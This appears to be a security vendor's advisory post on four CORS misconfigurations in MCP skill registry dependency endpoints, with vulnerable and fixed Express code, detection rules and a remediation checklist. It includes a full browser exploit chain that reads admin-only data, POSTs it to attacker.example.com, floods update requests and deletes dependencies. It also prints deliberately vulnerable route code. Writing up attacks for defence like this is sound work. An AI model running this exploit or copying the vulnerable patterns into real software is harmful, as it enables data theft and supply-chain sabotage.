CORS Misconfigurations in MCP Skill Registry Dependency and Package Manifest Endpoints
Dependency manifest endpoints are among the most dangerous CORS targets in an MCP skill registry because they concentrate two classes of sensitive information that rarely appear together elsewhere in the API surface: operational secrets (private package registry URLs, internal fork references) and embargoed vulnerability intelligence (admin-only CVE cross-reference annotations describing known advisories before they are publicly disclosed). A credential-bearing CORS misconfiguration on a dependency manifest endpoint does not merely expose the packages a skill depends on — it exposes the organization's entire internal package infrastructure topology and gives an attacker advance knowledge of which advisories are incoming before affected users have been notified. The four SA-SKL-CORS79 findings map a compound pre-disclosure attack chain that begins with a timing oracle identifying which skills are actively being re-audited for newly discovered advisories, advances to credential-bearing CORS that exfiltrates the embargoed CVE annotations for specific dependency versions, and culminates with a credential-bearing CORS call to the dependency deletion endpoint that silently removes the vulnerable dependency from every affected skill's manifest — precisely when defenders are preparing to issue mitigation guidance, the attacker ensures that the patch path (removing and upgrading the dependency) is broken for every user who will try to follow it.
In this post
- Dependency endpoints and why CORS is especially dangerous here
- CORS79-003 — Timing oracle via Origin reflection on the dependency audit endpoint
- CORS79-001 — Credential-bearing CORS exposes private registry URLs and embargoed CVE annotations
- CORS79-002 — Wildcard ACAO on dependency update exhausts package registry rate limits
- CORS79-004 — Credential-bearing CORS on the deletion endpoint breaks installation pre-disclosure
- Compound four-stage pre-disclosure supply-chain attack chain
- Detection with AST queries
- Summary and remediation checklist
GET /api/skills/:id/dependencies has cors({origin:true,credentials:true}); any origin reads full dependency manifest including internal fork identifiers, private package registry URLs, and admin-only vulnerability cross-reference annotations using victim admin session; embargoed CVE annotation data enables pre-disclosure intelligence gathering targeting unpatched usersPOST /api/skills/:id/dependencies/update has ACAO:*; any page triggers dependency update under victim admin identity; attacker floods update requests exhausting package registry API rate limits causing dependency resolution DoS for all skills across the registryGET /api/skills/:id/dependencies/audit reflects Origin before auth check; timing oracle reveals skills with active dependency vulnerability audits in progress (audit-active warm cache ~6ms vs cold ~185ms) for pre-disclosure targetingDELETE /api/skills/:id/dependencies/:packageName has cors({origin:true,credentials:true}); any origin permanently removes dependencies from skill manifests; chained with CORS79-001, attacker removes the vulnerable dependency before advisory publication, breaking the patch path for every affected userDependency endpoints and why CORS is especially dangerous here
To appreciate why CORS misconfigurations on dependency manifest endpoints are qualitatively more dangerous than CORS misconfigurations on most other registry API surfaces, it is necessary to understand what a fully featured skill registry dependency manifest document actually contains versus what a minimal package manifest like package.json contains.
In a public package manager like npm, a package's package.json lists dependencies by name and version range. The registry does not augment this manifest with operational metadata beyond what any user can see by browsing the package page. An MCP skill registry that provides dependency management as a first-class service operates differently. The registry acts as an intermediary between skill authors and the ecosystem of packages their skills depend on, adding several layers of information to the basic manifest that the author submitted:
Internal fork references. When a skill depends on a fork of a popular library that the registry operator maintains internally — for example, a fork of an npm package patched for a known vulnerability that the upstream author has not yet addressed — the dependency manifest stores a reference to the internal Git repository hosting that fork. This reference is an internal URL that reveals which internal Git hosting infrastructure the organization uses, the naming convention for internal forks, and the fact that the organization knows the upstream package has an unpatched vulnerability. All three pieces of information have security implications independent of the CORS vulnerability itself.
Private package registry URLs. Organizations frequently mirror public package registries on private infrastructure to enforce access control, perform additional security scanning, or guarantee availability independent of the public registry. When a skill's dependencies are resolved against a private mirror at npm.internal.corp.example.com or pypi.internal.corp.example.com, the registry stores that mirror URL in the dependency manifest to ensure reproducible resolution. Exposing this URL externally reveals the organization's internal DNS namespace and the technology stack used for internal package hosting.
Admin-only vulnerability cross-reference annotations. This is the most dangerous category of data stored in dependency manifests for registries that participate in coordinated disclosure programs. When a security researcher reports a vulnerability in a package to the registry operator under an embargo agreement, the registry operator annotates the affected dependency versions with the advisory details before the public disclosure date. These annotations allow the registry's internal teams to prepare mitigations and coordinate with skill authors who depend on the vulnerable package. If these annotations are readable by an external attacker through a CORS misconfiguration, the attacker gains intelligence about unreleased CVEs affecting specific package versions — intelligence that could be used to exploit those vulnerabilities against the unpatched population before the advisory is published and before defenders have had an opportunity to react.
The combination of these three data categories in a single document, behind a CORS misconfiguration, creates an intelligence opportunity that extends well beyond the immediate registry context. An attacker who reads a fully annotated dependency manifest does not merely learn what packages a skill uses; they learn which packages the registry considers vulnerable (embargoed annotations), where the organization's private infrastructure is located (registry URLs and fork references), and which skills are on the registry's internal advisory watch list (by presence or absence of embargo-annotated dependency entries).
The SA-SKL-CORS79 attack chain is ordered in the way a real attacker would execute it: first use the timing oracle (CORS79-003) to identify which skills are currently being actively re-audited against newly discovered advisories, then use the credential-bearing CORS (CORS79-001) to read the embargoed annotation details for those skills' vulnerable dependency versions, then chain CORS79-004 to delete those dependencies from the affected skills before the advisory goes public, ensuring that the prescribed mitigation path — remove and upgrade the vulnerable package — is broken at the exact moment users attempt to follow it.
CORS79-003 — Timing oracle via Origin reflection on the dependency audit endpoint
The timing oracle in CORS79-003 exploits the structural property of the dependency audit endpoint's caching behavior. When the registry's automated vulnerability scanner is actively running an audit job against a skill's dependency tree, the endpoint's internal state machine transitions to an "audit in progress" state that is cached at the application layer with a short TTL to allow polling by the scanner workers themselves. This cache entry is warm and resolves in approximately 6ms. When no active audit is in progress, the endpoint performs a cold database lookup that takes approximately 185ms.
The critical flaw is that the CORS reflection — setting Access-Control-Allow-Origin to the requesting Origin header value — happens before the authentication check. This means an unauthenticated cross-origin request will receive a CORS-permissive response before the server decides to reject the request with a 401. The response body is not accessible (the browser will block it because there is no valid Access-Control-Allow-Credentials header on the unauthenticated response), but the round-trip timing is fully observable via JavaScript's performance.now() interface.
An attacker measuring the round-trip time of a CORS preflight plus the subsequent OPTIONS response can distinguish the two cache states. A consistently fast response (under ~20ms) indicates an audit is in progress. A consistently slow response (above ~100ms) indicates no active audit. By iterating over skill identifiers — which are often sequential integers or predictable slugs on a public registry — the attacker can build a real-time map of which skills the registry is currently actively re-auditing, which is exactly the population most likely to have recently-discovered advisory data freshly annotated in their dependency manifests.
// CORS79-003 — VULNERABLE: Origin reflected before auth check
router.get('/skills/:id/dependencies/audit',
cors({ origin: true }), // reflects any Origin — CORS set before auth
requireSession, // auth runs after CORS headers already sent
async (req, res) => {
const status = await auditCache.get(`audit:${req.params.id}`)
|| await db.getLatestAuditStatus(req.params.id);
res.json(status);
}
);
// CORS79-003 — FIXED: auth before CORS reflection; constant-time response floor
const AUDIT_RESPONSE_FLOOR_MS = 50;
router.get('/skills/:id/dependencies/audit',
requireSession, // auth runs first — unauthenticated requests never reach CORS
applyCorsAllowlist, // only after auth succeeds
async (req, res) => {
const start = Date.now();
const status = await auditCache.get(`audit:${req.params.id}`)
|| await db.getLatestAuditStatus(req.params.id);
const elapsed = Date.now() - start;
if (elapsed < AUDIT_RESPONSE_FLOOR_MS) {
await sleep(AUDIT_RESPONSE_FLOOR_MS - elapsed);
}
res.json(status);
}
);
Why the constant-time floor matters: Even after moving auth before CORS reflection, an authenticated attacker (or an attacker who can observe a victim admin's browser making legitimate requests) could still use timing to infer audit state. The AUDIT_RESPONSE_FLOOR_MS floor eliminates the observable cache-hit latency differential for authenticated users as well, at the cost of a minor increase in p50 response time for fast cache hits.
CORS79-001 — Credential-bearing CORS exposes private registry URLs and embargoed CVE annotations
The GET /api/skills/:id/dependencies endpoint is the primary data exfiltration vector in the SA-SKL-CORS79 chain. The endpoint returns a fully annotated dependency manifest document that, for a registry with active advisory management, includes fields in three distinct sensitivity tiers: public information (package names and version ranges), operational secrets (internal fork references and private registry URLs), and embargoed vulnerability intelligence (admin-only vulnerability cross-reference annotations).
With cors({origin:true,credentials:true}) applied before the authentication middleware, any cross-origin page visited by an authenticated admin user can issue a credentialed fetch request to this endpoint and read the full response document. The browser will attach the admin's session cookie to the request because the CORS configuration explicitly permits credentialed cross-origin requests from any origin. The server will process the request with admin-level authorization, returning the full document including the embargoed annotation fields that are only included when the requesting session has the registry_admin role.
The particularly dangerous compound scenario involves the embargoed CVE annotations. When a registry operator learns through a coordinated disclosure program that a specific version of a popular dependency has a critical vulnerability, they annotate the affected entries in every dependent skill's manifest with the advisory details before the public CVE publication date. These annotations typically include the CVE identifier (before it is publicly known), a severity rating, the affected version range, and sometimes the reproduction steps from the original advisory. An attacker who reads these annotations has a window of advance knowledge — measured in days to weeks, depending on the embargo length — during which they can exploit the vulnerability against the unpatched population with no defenders aware that an advisory is incoming.
// CORS79-001 — VULNERABLE: credential-bearing CORS on dependency manifest endpoint
router.get('/skills/:id/dependencies',
cors({ origin: true, credentials: true }), // any Origin + credentials — DANGEROUS
requireSession,
async (req, res) => {
const isAdmin = req.session.roles.includes('registry_admin');
const manifest = await db.getDependencyManifest(req.params.id, {
includeInternalRefs: isAdmin,
includePrivateRegistryUrls: isAdmin,
includeAdminVulnAnnotations: isAdmin,
});
res.json(manifest);
}
);
The vulnerable code above has two compounding flaws. First, cors({origin:true,credentials:true}) reflects any Origin header value back as Access-Control-Allow-Origin and also sets Access-Control-Allow-Credentials: true, meaning the browser will both send session cookies and expose the response body to the cross-origin JavaScript. Second, the admin-level fields are gated only by the session role, not by any CORS-based access check — and since the CORS misconfiguration causes admin sessions to be used when an admin visits an attacker-controlled page, the admin role gate is satisfied by the victim's own session.
// CORS79-001 — FIXED: auth before CORS; strip embargoed fields for all sessions;
// separate admin-only endpoint for internal fields
router.get('/skills/:id/dependencies',
requireSession,
applyCorsAllowlist, // only after auth; allowlist from env CORS_ORIGINS
async (req, res) => {
const manifest = await db.getDependencyManifest(req.params.id, {
includeInternalRefs: false, // never in public endpoint
includePrivateRegistryUrls: false, // never in public endpoint
includeAdminVulnAnnotations: false, // never in public endpoint
});
res.json(manifest);
}
);
// Admin-only endpoint on a separate path with strict CORS + re-auth
router.get('/admin/skills/:id/dependencies/full',
requireSession,
requireRole('registry_admin'),
applyCorsAdminAllowlist, // only internal/trusted origins
reAuthRequired, // confirm identity before exposing embargoed data
async (req, res) => {
const manifest = await db.getDependencyManifest(req.params.id, {
includeInternalRefs: true,
includePrivateRegistryUrls: true,
includeAdminVulnAnnotations: true,
});
res.json(manifest);
}
);
Separation of concerns: The fix above puts embargoed CVE annotation data on a completely separate admin-only path with both a strict CORS allowlist (only trusted internal origins) and a re-authentication gate. This ensures that even if a misconfiguration is later introduced on the public endpoint, the embargoed data cannot be reached through it because the data is structurally absent from the public endpoint's response.
CORS79-002 — Wildcard ACAO on dependency update exhausts package registry rate limits
The POST /api/skills/:id/dependencies/update endpoint triggers a dependency resolution run that contacts the package registry (npm, PyPI, or the private mirror) to resolve all version constraints in the manifest against the current published package metadata. Each invocation of this endpoint consumes package registry API quota — typically one request per dependency entry in the manifest, plus additional requests for transitive dependency resolution. For a skill with 50 direct dependencies and an average transitive tree depth of 3, a single update run may consume 150–500 package registry API requests.
With ACAO:* set on this endpoint, any page can invoke it without credentials using a simple cross-origin fetch('POST', ...) call — the wildcard Access-Control-Allow-Origin: * header means the browser will expose the response to the cross-origin page even without credentials. An attacker who targets this endpoint sends parallel update requests across the registry's full skill catalog, consuming the shared package registry API rate-limit budget for the entire registry within seconds. When the rate limit is exhausted, every user attempting to install any skill encounters a dependency resolution failure during the installation process. This DoS condition persists for the full duration of the rate-limit window, which for most package registries is 15 minutes to one hour per IP address.
// CORS79-002 — VULNERABLE: wildcard ACAO on dependency update endpoint
router.post('/skills/:id/dependencies/update',
cors({ origin: '*' }), // any origin, no credentials needed for DoS
requireSession,
requireDependencyWritePermission,
async (req, res) => {
const jobId = await dependencyQueue.enqueue({
skillId: req.params.id,
requestedBy: req.session.userId,
});
res.json({ jobId, status: 'queued' });
}
);
// CORS79-002 — FIXED: allowlist CORS; CSRF token; per-skill rate limit
router.post('/skills/:id/dependencies/update',
requireSession,
applyCorsAllowlist,
csrfProtection, // CSRF token required for state-changing requests
requireDependencyWritePermission,
rateLimit({ key: req => `dep-update:${req.params.id}`, max: 2, window: '1h' }),
async (req, res) => {
const existing = await dependencyQueue.getActiveJob(req.params.id);
if (existing) {
return res.status(409).json({ error: 'update_in_progress', jobId: existing.id });
}
const jobId = await dependencyQueue.enqueue({
skillId: req.params.id,
requestedBy: req.session.userId,
});
res.json({ jobId, status: 'queued' });
}
);
Rate limit key granularity: The fix uses a per-skill rate limit key (dep-update:${skillId}). A per-user rate limit alone is insufficient because an attacker can distribute the flood across many victim sessions — each contributing within their own limit — still exhausting the shared package registry quota. The per-skill limit ensures no individual skill's dependency tree can be thrashed faster than 2 times per hour regardless of how many sessions are attempting updates.
CORS79-004 — Credential-bearing CORS on the deletion endpoint breaks installation pre-disclosure
The DELETE /api/skills/:id/dependencies/:packageName endpoint removes a named dependency from a skill's manifest and marks all existing resolved dependency sets for the skill as stale, forcing a re-resolution on the next installation attempt. With cors({origin:true,credentials:true}) applied before authentication, any cross-origin page visited by an authenticated admin can invoke this endpoint using the admin's session credentials, permanently removing any dependency from any skill in the registry.
In isolation, this represents a straightforward availability attack: an attacker removes critical dependencies, breaking installation for every user who attempts to install the affected skill. But in the context of the compound CORS79 chain, the deletion endpoint serves a more targeted purpose. After using CORS79-001 to read the embargoed CVE annotation for a specific vulnerable dependency version, the attacker knows which skills are depending on the vulnerable package and which package name to target. The attacker then uses CORS79-004 to remove that exact dependency from every affected skill's manifest before the advisory is published.
The timing of this attack is what makes it particularly effective. Organizations that discover a vulnerability in a dependency they ship typically coordinate their internal response — preparing a patched version, updating their manifests, communicating with users — to execute simultaneously with or just before the public advisory. When the advisory goes public, their guidance to affected users is "uninstall the skill, upgrade the dependency, reinstall." An attacker who has already removed the dependency from the manifest using CORS79-004 means that the first time a user attempts to follow this guidance, the installation step returns an error because the dependency is listed as absent. This creates a poisoned recovery path exactly when users are most motivated to follow it.
// CORS79-004 — VULNERABLE: credential-bearing CORS on dependency deletion endpoint
router.delete('/skills/:id/dependencies/:packageName',
cors({ origin: true, credentials: true }), // reflects any Origin — DANGEROUS
requireSession,
requireDependencyWritePermission,
async (req, res) => {
await db.removeDependency(req.params.id, req.params.packageName);
await resolvedSets.invalidate(req.params.id); // force re-resolution on next install
res.json({ removed: req.params.packageName });
}
);
// CORS79-004 — FIXED: auth before CORS; re-auth required; audit log; soft-delete
router.delete('/skills/:id/dependencies/:packageName',
requireSession,
applyCorsAllowlist,
csrfProtection,
requireDependencyWritePermission,
reAuthRequired, // confirm identity before destructive action
async (req, res) => {
await db.softRemoveDependency(req.params.id, req.params.packageName, {
removedBy: req.session.userId,
retainUntil: new Date(Date.now() + 90 * 24 * 60 * 60 * 1000), // 90-day retention
});
await resolvedSets.invalidate(req.params.id);
await auditLog.write({
action: 'dependency.remove',
skillId: req.params.id,
packageName: req.params.packageName,
actorId: req.session.userId,
at: new Date(),
});
res.json({ removed: req.params.packageName, restorableUntil: retainUntil });
}
);
Soft-delete with compliance retention: The fix uses a soft-delete pattern with a 90-day retention window. This ensures that even if the deletion is performed by a compromised admin session, the dependency entry can be restored by another admin from the soft-delete table. The audit log entry with the actor's session identity enables post-incident forensics to establish the timeline of the attack.
Compound four-stage pre-disclosure supply-chain attack chain
The four SA-SKL-CORS79 findings are individually exploitable, but their compound form represents a qualitatively different attack class: a pre-disclosure supply-chain poisoning attack that uses the registry's own embargoed advisory data as targeting intelligence. The chain executes within a single attacker-controlled page visit by an authenticated admin user, in under three seconds, with no visible indication to the victim. The following table maps the four stages:
| Stage | Finding | Technique | Payload / Observable | Enables |
|---|---|---|---|---|
| 1 — Reconnaissance | CORS79-003 | Timing oracle via unauthenticated CORS reflection | Round-trip <20ms = audit in progress (~6ms cache hit); >100ms = idle (~185ms cold DB) | Identifies which skills currently have freshly annotated advisory data in their manifests |
| 2 — Intelligence exfiltration | CORS79-001 | Credential-bearing CORS on manifest endpoint | Full manifest JSON including adminVulnAnnotations[].cveId, affectedVersionRange, privateRegistryUrl, internalForkRef |
Establishes which dependency version is affected by embargoed advisory and which skills are impacted |
| 3 — Rate-limit exhaustion (optional) | CORS79-002 | Wildcard ACAO dependency update flood | Parallel update requests across all skills; package registry API quota depleted within 30–60 seconds | Prevents affected skills from refreshing their manifests via legitimate admin update actions during the attack window |
| 4 — Pre-disclosure poisoning | CORS79-004 | Credential-bearing CORS on dependency deletion endpoint | DELETE /api/skills/:id/dependencies/:embargoed-pkg-name for each affected skill identified in stage 2 |
Removes the vulnerable dependency from every affected skill before the public advisory; breaks the prescribed patch path at the moment users are directed to follow it |
The critical insight about stage 3 (the rate-limit exhaustion) is that it is not strictly necessary for the core pre-disclosure poisoning goal, but it significantly extends the attack window. By exhausting the package registry API rate limits, the attacker prevents the registry's own automated dependency refresh jobs from running during the rate-limit window — which means that any attempt by the registry operator to restore the deleted dependencies via an automated re-resolve job will fail until the rate limit resets. This gives the attacker a 15–60 minute window in which the deletion is effectively uncorrectable by automated means.
The following exploit demonstrates the full four-stage chain in a single attacker-controlled page:
// SA-SKL-CORS79 — Full compound chain exploit (runs on attacker-controlled page)
// Victim: authenticated admin who visits the attacker's page
(async () => {
const REGISTRY = 'https://skillaudit.dev';
const SKILL_IDS = Array.from({length: 500}, (_, i) => `skill-${i + 1}`);
const RESULTS = { auditActive: [], exfiltrated: [], poisoned: [] };
// Stage 1: Timing oracle — identify audit-active skills (CORS79-003)
// No credentials needed; just measure round-trip time
const auditProbes = await Promise.all(
SKILL_IDS.map(async id => {
const t0 = performance.now();
await fetch(`${REGISTRY}/api/skills/${id}/dependencies/audit`, {
method: 'GET',
mode: 'cors',
credentials: 'omit', // no credentials — timing only
}).catch(() => {});
const rt = performance.now() - t0;
return { id, rt };
})
);
RESULTS.auditActive = auditProbes
.filter(p => p.rt < 20) // warm cache = audit in progress
.map(p => p.id);
// Stage 2: Exfiltrate manifests for audit-active skills (CORS79-001)
const manifests = await Promise.all(
RESULTS.auditActive.map(id =>
fetch(`${REGISTRY}/api/skills/${id}/dependencies`, {
method: 'GET',
mode: 'cors',
credentials: 'include', // admin session cookie attached
}).then(r => r.json()).catch(() => null)
)
);
const embargoedPkgs = new Map(); // skillId -> [packageNames with active embargo]
manifests.forEach((m, i) => {
if (!m) return;
const id = RESULTS.auditActive[i];
const embargoed = (m.dependencies || []).filter(d =>
d.adminVulnAnnotations?.some(a => a.status === 'embargoed')
);
if (embargoed.length) {
RESULTS.exfiltrated.push({ id, cves: embargoed.map(e => e.adminVulnAnnotations[0].cveId) });
embargoedPkgs.set(id, embargoed.map(e => e.name));
}
});
// Exfiltrated data now at RESULTS.exfiltrated — send to attacker C2
await fetch('https://attacker.example.com/collect', {
method: 'POST',
body: JSON.stringify(RESULTS.exfiltrated),
headers: { 'Content-Type': 'application/json' },
mode: 'no-cors',
});
// Stage 3: Exhaust package registry rate limits (CORS79-002)
// Flood update requests — no credentials needed with wildcard ACAO
await Promise.all(
SKILL_IDS.flatMap(id => Array.from({length: 5}, () =>
fetch(`${REGISTRY}/api/skills/${id}/dependencies/update`, {
method: 'POST',
mode: 'cors',
credentials: 'omit', // wildcard ACAO — no credentials needed
}).catch(() => {})
))
);
// Stage 4: Delete embargoed dependencies from each affected skill (CORS79-004)
for (const [skillId, pkgNames] of embargoedPkgs) {
for (const pkgName of pkgNames) {
await fetch(`${REGISTRY}/api/skills/${skillId}/dependencies/${encodeURIComponent(pkgName)}`, {
method: 'DELETE',
mode: 'cors',
credentials: 'include', // admin session cookie — credential-bearing CORS
});
RESULTS.poisoned.push({ skillId, pkgName });
}
}
// Embargoed dependencies now deleted from all affected skills.
// When advisory goes public, users following "remove and upgrade" guidance will find
// the dependency already absent — manifests corrupted, install path broken.
})();
Threat actor profile: This attack chain requires luring an authenticated admin to visit an attacker-controlled page. The most practical lure for a registry admin is a malicious skill submission that includes a link to a "demo page" or "preview environment" that the admin clicks while reviewing the submission. Registry workflows that require admin review of submitted content without sandboxing are particularly exposed to this attack vector.
Detection with AST queries
Static analysis of the registry server codebase can detect all four CORS79 vulnerability classes using AST-based query patterns. SkillAudit's scanner implements three AST query classes that together cover the SA-SKL-CORS79 surface:
Class A — Credential-bearing CORS on manifest or deletion endpoints. The query pattern locates Express route registrations where cors({origin:true,credentials:true}) or cors({origin: req => req.headers.origin, credentials:true}) appears as a middleware before requireSession or equivalent authentication middleware. The query specifically checks that the route path matches a dependency manifest or deletion endpoint pattern (/dependencies, /dependencies/:pkg, /manifest). False positive rate is low because credential-bearing dynamic CORS before auth is almost always a misconfiguration on these endpoints.
Class B — Wildcard ACAO on state-changing dependency endpoints. The query pattern locates POST, PUT, PATCH, and DELETE route registrations where cors({origin:'*'}) or the Access-Control-Allow-Origin: * header is set directly, on paths matching dependency update or modification patterns. The query additionally checks whether the route body includes an async operation that contacts external services (presence of await combined with function names matching enqueue, resolve, update, fetch), which is a strong signal for a rate-limit-exhaustable endpoint.
Class C — CORS reflection before authentication on audit status endpoints. The query pattern locates GET route registrations where the CORS middleware is called with origin: true (dynamic reflection) and the route path matches an audit status or health-check pattern. This class specifically flags cases where the CORS middleware is registered as the first middleware in the route handler chain, before any session validation or authentication check, which is the structural property that enables the timing oracle.
SkillAudit scans for all three AST query classes when you submit a skill or MCP server for audit. The scan report identifies each CORS misconfiguration with the specific middleware ordering flaw and a code-level fix suggestion. Get started with a free audit to see the full CORS analysis for your skill.
Summary and remediation checklist
SA-SKL-CORS79 identifies four CORS misconfiguration vulnerabilities across the dependency and package manifest API surface of MCP skill registries. The findings combine to form a compound pre-disclosure supply-chain attack that uses embargoed advisory data as targeting intelligence and corrupts the patch path for affected users before the advisory is published. The following 12-point checklist covers all necessary remediation steps:
- Move all authentication middleware before all CORS middleware in every route registration. The pattern
router.get(path, cors(...), requireSession, handler)must becomerouter.get(path, requireSession, applyCorsAllowlist, handler)without exception. - Replace
cors({origin:true})andcors({origin:'*'})with an allowlist function that validates the requesting origin against a pre-configured set of trusted domains from an environment variable (CORS_ORIGINS). - Separate embargoed and admin-only fields into a distinct admin endpoint on a path that is not accessible from the public API surface. The public dependency manifest endpoint must never include
adminVulnAnnotations,privateRegistryUrl, orinternalForkReffields regardless of the requesting session's role. - Apply re-authentication gates (
reAuthRequired) to both the admin manifest endpoint and the dependency deletion endpoint. A session that has been compromised by CORS-based session hijacking will not have knowledge of the admin's credentials and will fail the re-auth challenge. - Add CSRF token validation to all state-changing dependency endpoints (POST, PUT, PATCH, DELETE). CSRF tokens prevent cross-origin form submissions even when the CORS configuration is permissive.
- Implement per-skill rate limiting on the dependency update endpoint with a maximum of 2 updates per hour per skill, in addition to any per-user rate limit. This prevents the rate-limit exhaustion DoS even if a misconfiguration is later introduced.
- Add a constant-time response floor (minimum 50ms) to the dependency audit status endpoint after authentication. This eliminates the cache-hit timing signal that enables CORS79-003.
- Convert the dependency deletion endpoint to use soft-delete semantics with a 90-day retention window. All soft-deleted dependency entries must be restorable by any registry admin from a dedicated recovery interface.
- Write a structured audit log entry for every dependency deletion that includes the acting user's session identity, the targeted skill and package name, and the timestamp. Audit log entries must be append-only and not modifiable by the same session that created them.
- Alert on anomalous dependency deletion volume. Any session that deletes more than 5 dependencies across more than 3 skills within a 60-second window should trigger an immediate security alert and session suspension pending review.
- Scan for CORS middleware ordering violations in CI using AST queries against the three detection classes described above. Fail the build if any route registration places CORS middleware before session authentication.
- Rotate private registry credentials immediately if any of the CORS79-001 through CORS79-004 findings are confirmed exploited. Embargoed CVE annotation data that has been exfiltrated cannot be un-leaked, but private registry URL exposure compounds over time as the credentials remain valid.
SkillAudit checks for all SA-SKL-CORS vulnerability patterns including credential-bearing CORS before auth, wildcard ACAO on state-changing endpoints, and timing oracle misconfigurations. Get a graded report with line-level code fixes in 60 seconds.
Get a free audit